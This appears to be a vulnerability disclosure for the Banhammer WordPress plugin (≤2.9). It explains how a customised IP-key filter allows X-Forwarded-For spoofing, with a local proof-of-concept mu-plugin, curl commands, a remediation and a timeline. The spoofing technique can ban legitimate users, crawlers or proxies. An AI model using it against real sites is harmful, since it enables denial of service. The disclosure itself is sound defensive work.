DOS through IP spoofing – (Banhammer <= 2.9)

| in


Affected pluginBanhammer
Active installs900+
Vulnerable version<= 2.9
Audited version2.9
Fully patched version
Recommended remediationNever configure the plugin to use anything but REMOTE_ADDR for IP detection.

Description


An attacker can use IP spoofing to ban legitimate users, search-engine crawlers, or a site’s reverse proxy.

This becomes possible as soon as a site owner changes the default IP source of the plugin by using the “banhammer_ip_keys” filter.

Proof of concept


The plugin handles IP detection better than most WordPress security plugins since it always uses REMOTE_ADDR by default.

However, as soon as this behavior is customized (by using the documented filter “backhole_ip_keys”), this changes and the plugin is wide open again to IP spoofing.

The plugin uses the banhammer_evaluate_ip function everywhere it needs access to the current request’s IP.

function banhammer_evaluate_ip($proxy = true) {
   if ($proxy) {
      $ip_keys = array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_X_COMING_FROM', 'HTTP_PROXY_CONNECTION', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'HTTP_COMING_FROM', 'HTTP_VIA', 'REMOTE_ADDR');
   } else {
      $ip_keys = array('REMOTE_ADDR', 'HTTP_VIA', 'HTTP_COMING_FROM', 'HTTP_FORWARDED', 'HTTP_FORWARDED_FOR', 'HTTP_PROXY_CONNECTION', 'HTTP_X_COMING_FROM', 'HTTP_X_REAL_IP', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_X_FORWARDED', 'HTTP_X_FORWARDED_FOR', 'HTTP_CLIENT_IP', 'HTTP_CF_CONNECTING_IP');
   }
   $ip_keys = apply_filters('banhammer_ip_keys', $ip_keys);
   foreach ($ip_keys as $key) {
      if (array_key_exists($key, $_SERVER) === true) {
         foreach (explode(',', $_SERVER[$key]) as $ip) {
            $ip = trim($ip);
            $ip = banhammer_normalize_ip($ip);
            if (banhammer_validate_ip($ip)) {
               return $ip;
            }
         }
      }
   }
   return esc_html__('Invalid IP Address', 'banhammer');
}

First, create the following must-use plugin on a local WordPress installation.

<?php
declare(strict_types=1);

// wp-content/mu-plugins/ip.php

$load_balancer_ip = '94.13.143.816';
$_SERVER['REMOTE_ADDR'] = $load_balancer_ip;
$real_user_ip = '147.93.33.75';

/**
 * This is how a load balancer will create the header. Always appending to the right.
 * Not doing so would validate the HTTP spec.
 */
if(empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $_SERVER['HTTP_X_FORWARDED_FOR'] = $real_user_ip;
}else {
    $_SERVER['HTTP_X_FORWARDED_FOR'] = $_SERVER['HTTP_X_FORWARDED_FOR']. ','. $real_user_ip;
}

if(!isset($_SERVER['HTTP_TEST_IP'])) {
    return;
}

add_action('wp_loaded', function () {
    add_filter('banhammer_ip_keys', fn() => ['HTTP_X_FORWARDED_FOR']);
    echo banhammer_evaluate_ip();
    echo "\n";
    die();
});

Then run the following commands:

curl -X GET https://local.test -H "Test-IP: 1"
147.93.33.75 # This is correct

Now:

curl -X GET https://local.test -H "Test-IP: 1" -H "X-Forwarded-For: 93.166.11.18"
93.166.11.18 # We spoofed the IP

Proposed patch


The needed patch is described in great length in this article of us.

Summary: Only ever use REMOTE_ADDR to access to current IP.

Timeline


Vendor contactedSeptember 13, 2022
First ResponseSeptember 13, 2022
Fully patched at
Publicly disclosedApril 24, 2023

Miscellaneous


Leave a Reply

Your email address will not be published. Required fields are marked *